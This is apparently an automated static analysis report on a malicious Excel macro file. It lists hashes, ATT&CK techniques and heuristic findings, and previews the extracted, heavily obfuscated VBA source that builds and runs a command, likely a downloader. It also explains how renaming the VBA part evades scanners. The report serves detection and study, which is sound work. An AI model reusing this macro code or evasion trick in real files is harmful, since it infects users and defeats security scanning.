Malicious Office (OOXML) / .XLSM — malware analysis report

Static analysis result for SHA-256 7af153ac40fe111d…

MALICIOUS

Office (OOXML) / .XLSM

29.6 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2022-03-22
MD5: 1faf78a02d11127b48f9b4edec51f318 SHA-1: daac61b7712691931f8929856f7344b6d09922e8 SHA-256: 7af153ac40fe111dc312c90544b1e6c2c7ffbd5cc116eea719cfd52d6027e35a
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample is an XLSM file containing obfuscated VBA macros. The Workbook_Open event triggers the execution of a heavily obfuscated function that appears to construct and execute a command. This command likely downloads and executes a second-stage payload, as indicated by the use of GetObject and Shell execution. The obfuscation and evasion techniques (renamed VBA project part) suggest malicious intent.

Heuristics 4

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: xl/lo.i)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
5fc6932a86fc6b2279f3bb1be7fc307d7a9d7ed34c46fcbfea0ff63853009bc6
vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 13517 bytes
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_BeforeClose(Cancel As Boolean)
Application.Wait (Now + TimeValue("0:00:10"))
MsgBox _
StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("XkP dy]AsKXgX ey\CpJPbZ dq[@qBYc\ e~]AtKYbX exXDqIZbQ eyXArIYc] ey]ApKYf", "hRi4THlqAz"))))
computeroo1 = StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("dEeu_yE]eE`u] AXlBduTy@Xe@eu_yDZeDe|]|DYeEe}Zy@XdD`u_yDXeE`t\yEX`EduXxE_dE`tT~DXdDet]pBX`Edt]xEXeFctT~E]eEfr\yEYdLdt]yL_e@et^ DXgDd}]|EYeDduXxEXe@dtT~E\lE`t\xLX`DerYxGXe@et[qEPfDet]|EXc@dtTy@YdEeu_yE]eE`u\xCXlBdv\xD]dEetXyEQbDdq\{EYdLerUyC\dEetXyE^`Emw\yEX`Ee}ZxD]dDdu\pDYeDet]qBYe@dv]xDQeCmt[}DXeE`t] @XmFerZy@P", "UuUDmIuh"))))
computeroo1 = Replace(computeroo1, StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("djD xejM |do", "UZt4M")))), StrReverse(StrReverse(StrReverse(L1gxbwfkPByq(L1gxbwfkPByq(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("G{}", "vJHJ")))))))))
computeroo1 = Replace(computeroo1, StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("fROPWgRJQUbSJTU", "Wczae")))), StrReverse(StrReverse(L1gxbwfkPByq(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("}W]", "McknRJG")))))))
computeroo1 = Replace(computeroo1, StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("I~cEIgtHte@Ja|N|eEJbsH}e", "yMUuzQE")))), StrReverse(StrReverse(L1gxbwfkPByq(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("HwE", "yFsDKSM3vM")))))))
computeroo1 = Replace(computeroo1, StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("Ez ru D  sr Ds ", "tJ4CG2")))), StrReverse(StrReverse(L1gxbwfkPByq(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("Xsr", "iCCpon")))))))
computeroo1 = Replace(computeroo1, StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("E@v CAw}EDwvDE~ @E", "uuFO")))), StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("Xv ", "iD6YcWIJ")))))
computeroo1 = Replace(computeroo1, StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("BbH[ECbAZACa", "sSqkp")))), StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("@s}", "qCIG")))))
computeroo1 = Replace(computeroo1, StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("aM ~s`H  veA", "Qx6NF")))), StrReverse(StrReverse(StrReverse(L1gxbwfkPByq(L1gxbwfkPByq(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("CSk", "rcRYs")))))))))
computeroo1 = Replace(computeroo1, StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("f_UF_[gVUF^^f_RF_^gZRF_Zf_RGV\gVUF_[", "Wobwok")))), StrReverse(StrReverse(L1gxbwfkPByq(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("ZIM", "jpzO7yOho")))))))
computeroo1 = Replace(computeroo1, StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("hhY@SoY[aj_ESfY]ljYGWfQ^", "YZiqbVim")))), StrReverse(StrReverse(L1gxbwfkPByq(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("ELu", "uuGMl")))))))
collegeoo4 = StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("vPS uxwT[ ruvRS qqwTV |rvSV vqvRS qqwWR qqwVZ qqwVU qpvSS tqvSV vqvRS qqvRS qqwWS tqvRQ uxwWS tpvRQ uxw[T tpw[T uwvSZ rywTW vqwWS rywZP tqwTW rtvSZ qqwWS vqvRS tyvSV tvvRV }vvRR tqw[T qqvRS tqvPS }vwWR tqw[T qqvSV vqvRS qqvRS qqvSV tvvRV }vvRR tqw[T qqvRS tqwQU }vwWS wwvRS uxvRS }vwWS wwvRQ uxwWS tpvRQ uxwWS tpvSV tqwWR }vwVZ qqwWR", "Gbc5DA"))))
collegeoo4 = Replace(collegeoo4, StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("Ez ru D  sr Ds ", "tJ4CG2")))), StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("X  ", "i61WP")))))
collegeoo4 = Replace(collegeoo4, StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("aM ~s`H  veA", "Qx6NF")))), StrReverse(StrReverse(L1gxbwfkPByq(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("xLv", "HuODbc9u")))))))
collegeoo4 = Replace(collegeoo4, StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("djD xejM |do", "UZt4M")))), StrReverse(StrReverse(StrReverse(L1gxbwfkPByq(L1gxbwfkPByq(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("j~t", "ZKLQqzd")))))))))
collegeoo4 = Replace(collegeoo4, StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("BbH[ECbAZACa", "sSqkp")))), StrReverse(StrReverse(L1gxbwfkPByq(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("ELu", "uuGMl")))))))
collegeoo4 = Replace(collegeoo4, StrReverse(L1gxbwfkPByq(OknF56itnW(mPQOUCuC("E@v CAw}
... (truncated)
vbaProject_00.bin
af0df1c32de5ef4a8b10c1bc2dcd5fcff3e25cb5bdc30ca2c9e64545f396148f
vba-project OOXML VBA project: xl/lo.i 63488 bytes